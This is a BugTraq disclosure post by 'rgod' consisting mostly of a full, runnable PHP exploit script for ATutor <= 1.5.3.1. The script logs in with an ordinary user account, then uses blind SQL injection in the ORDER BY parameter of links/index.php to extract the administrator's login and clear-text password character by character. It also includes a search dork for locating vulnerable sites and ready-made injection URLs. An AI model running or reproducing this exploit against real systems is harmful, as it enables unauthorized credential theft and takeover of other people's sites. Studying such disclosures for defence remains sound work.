BugTraq
ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure Jul 30 2006 08:01AM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\n";

echo "site: http://retrogod.altervista.org\n";

echo "dork, version specific: \"Web site engine's code is copyright\" \"2001-2006 ATutor\" \"About ATutor\"\n\n";

/*

- works regardless of php.ini settings

- with Mysql >= 4.1 (allowing SELECT subqueries for ORDER BY statements)

see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html

- with at least 2 links in at_links table

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to ATutor\r\n";

echo "user/pass: you need a valid simple user account\r\n";

echo "Options:\r\n";

echo " -T[prefix] specify a table prefix different from default (at_)\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Example:\r\n";

echo "php ".$argv[0]." localhost /atutor/ username password\r\n";

echo "php ".$argv[0]." localhost /atutor/ username password -Tatutor_\r\n";

die;

}

/*

software site: http://www.atutor.ca/

vulnerable code in /links/index.php at lines 92-100

...

//get links

$groups = implode(',', $_SESSION['groups']);

if (!empty($groups)) {

$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE ((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR (owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";

} else {

$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE (owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";

}

$result = mysql_query($sql, $db);

...

with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex:

http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII(
SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20
DESC%20LIMIT%202/*

http://[target]/[path_to_atutor]/links/index.php?asc=(SELECT(IF((ASCII(S
UBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC
%20LIMIT%202/*

query becomes like this:

SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE (owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY (SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM at_admins) DESC LIMIT 2/* desc

so you can ask true/false questions to the database about the admin username/clear text password

you will see results in the way links are ordered at screen

You need at least two rows in at_links table

Other queries may be vulnerable to this kind of injection, since ORDER BY statements

are not checked at all...

This may hide undisclosed vulnerabilities in a lot of apps, I suppose...

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$port=80;

$user=$argv[3];

$pass=$argv[4];

$prefix="at_";

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$prefix=str_replace("-T","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet ="GET ".$p."login.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

$temp=explode("password.value + \"",$html);

$temp2=explode("\"",$temp[1]);

$what=$temp2[0];

echo "salt -> ".$what."\r\n";

$data ="form_login_action=true";

$data.="&form_course_id=0";

$data.="&form_password_hidden=".sha1($pass.$what);

$data.="&form_login=".$user;

$data.="&form_password=";

$data.="&submit=Login";

$packet ="POST ".$p."login.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Accept: text/plain\r\n";

$packet.="Connection: Close\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

$packet ="GET ".$p."bounce.php?course=1 HTTP/1.0\r\n";//it seems you have to browse some page before to go to links panel

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

echo "cookie -> ".$cookie."\r\n";

$j=1;

$my_password="";

while (!strstr($my_password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Descr
iption))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";

echo "sql -> ".$sql."\r\n";

$sql=urlencode($sql);

$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("<tr onmousedown=\"document.form['",$html);

$temp2=explode("']",$temp[1]);

$my_check=$temp2[0];

echo "check -> ".$my_check."\r\n";

if ($my_check=="m1") {$my_password.=chr($i);echo "password -> ".$my_password."[???]\r\n";sleep(2);break;}

elseif ($my_check=="m2") {continue;}

elseif ($my_check=="") {die("Exploit failed, maybe wrong table prefix or simply failed to login...");}

if ($i==255) {die("Exploit failed...");}

}

$j++;

}

$j=1;

$my_admin="";

while (!strstr($my_admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="(SELECT(IF((ASCII(SUBSTRING(login,$j,1))=".$i."),LinkName,Descript
ion))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";

echo "sql -> ".$sql."\r\n";

$sql=urlencode($sql);

$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("<tr onmousedown=\"document.form['",$html);

$temp2=explode("']",$temp[1]);

$my_check=$temp2[0];

echo "check -> ".$my_check."\r\n";

if ($my_check=="m1") {$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\r\n";sleep(2);break;}

elseif ($my_check=="m2") {continue;}

if ($i==255) {die("Exploit failed...");}

}

$j++;

}

echo "----------------------------------------------------------\n";

echo "admin -> ".$my_admin."\n";

echo "password (clear text) -> ".$my_password."\n";

echo "----------------------------------------------------------\n";

?>

original url: http://retrogod.altervista.org/atutor_1531_sql.html

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